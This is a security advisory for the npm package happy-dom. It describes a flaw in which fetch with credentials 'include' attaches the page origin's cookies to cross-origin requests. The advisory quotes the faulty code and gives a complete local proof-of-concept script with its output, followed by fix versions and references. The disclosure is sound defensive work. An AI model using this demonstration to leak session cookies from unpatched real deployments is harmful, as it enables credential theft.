Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Summary
happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.
Details
In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:
const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
originURL,
false
);
Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).
PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');
async function listen(server, host) {
return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}
async function run() {
let observedCookieHeader = null;
const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';
console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
console.log('Setup:');
console.log(` Page Origin Host : ${pageHost}`);
console.log(` Request Target Host: ${apiHost}`);
console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');
console.log('');
await dns.lookup(pageHost);
await dns.lookup(apiHost);
const pageServer = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('page host');
});
const apiServer = http.createServer((req, res) => {
observedCookieHeader = req.headers.cookie || '';
const origin = req.headers.origin || '';
res.writeHead(200, {
'content-type': 'application/json',
'access-control-allow-origin': origin,
'access-control-allow-credentials': 'true'
});
res.end(JSON.stringify({ ok: true }));
});
const pagePort = await listen(pageServer, '127.0.0.1');
const apiPort = await listen(apiServer, '127.0.0.1');
const browser = new Browser();
try {
const context = browser.defaultContext;
// Page host: pageHost (local DNS)
const page = context.newPage();
page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';
// Target host: apiHost (local DNS)
const apiSeedPage = context.newPage();
apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';
// Trigger cross-host request with credentials.
const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
credentials: 'include'
});
await res.text();
const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');
console.log('Expected:');
console.log(' Request to target host should include "api_cookie=API_ONLY".');
console.log(' Request should NOT include "page_cookie=PAGE_ONLY".');
console.log('');
console.log('Actual:');
console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`);
console.log(` includes page_cookie: ${leakedPageCookie}`);
console.log(` includes api_cookie : ${expectedApiCookie}`);
console.log('');
if (leakedPageCookie && !expectedApiCookie) {
console.log('Result: VULNERABLE behavior reproduced.');
process.exitCode = 0;
} else {
console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
process.exitCode = 1;
}
} finally {
await browser.close();
pageServer.close();
apiServer.close();
}
}
run().catch((error) => {
console.error(error);
process.exit(1);
});
Environment:
- Node.js >= 22
happy-dom20.6.1- DNS names resolving to local loopback via
*.127.0.0.1.nip.io
Reproduction steps:
- Set page host cookie:
page_cookie=PAGE_ONLYona.127.0.0.1.nip.io - Set target host cookie:
api_cookie=API_ONLYonb.127.0.0.1.nip.io - From page host, call fetch to target host with
credentials: "include" - Observe
Cookieheader received by the target host
Expected:
- Include
api_cookie=API_ONLY - Do not include
page_cookie=PAGE_ONLY
Actual (observed):
- Includes
page_cookie=PAGE_ONLY - Does not include
api_cookie=API_ONLY
Observed output:
=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
Page Origin Host : a.127.0.0.1.nip.io
Request Target Host: b.127.0.0.1.nip.io
(both resolve to 127.0.0.1 via public wildcard DNS)
Expected:
Request to target host should include "api_cookie=API_ONLY".
Request should NOT include "page_cookie=PAGE_ONLY".
Actual:
request cookie header: "page_cookie=PAGE_ONLY"
includes page_cookie: true
includes api_cookie : false
Result: VULNERABLE behavior reproduced.
Impact
Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | happy-dom | < 20.8.9 | 20.8.9 |
References
- https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g
- https://nvd.nist.gov/vuln/detail/CVE-2026-34226
- https://github.com/capricorn86/happy-dom/pull/2117
- https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751
- https://github.com/capricorn86/happy-dom
- https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts
- https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-201- Platform
- npm
- Package
happy-dom- Disclosed
- 29.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-w4gp-fjgq-3q4g - CC BY 4.0
Vulnerability history: happy-dom
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 11.2024 03.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 2
Disclosures per year
- 2024: 1
- 2025: 2
- 2026: 2
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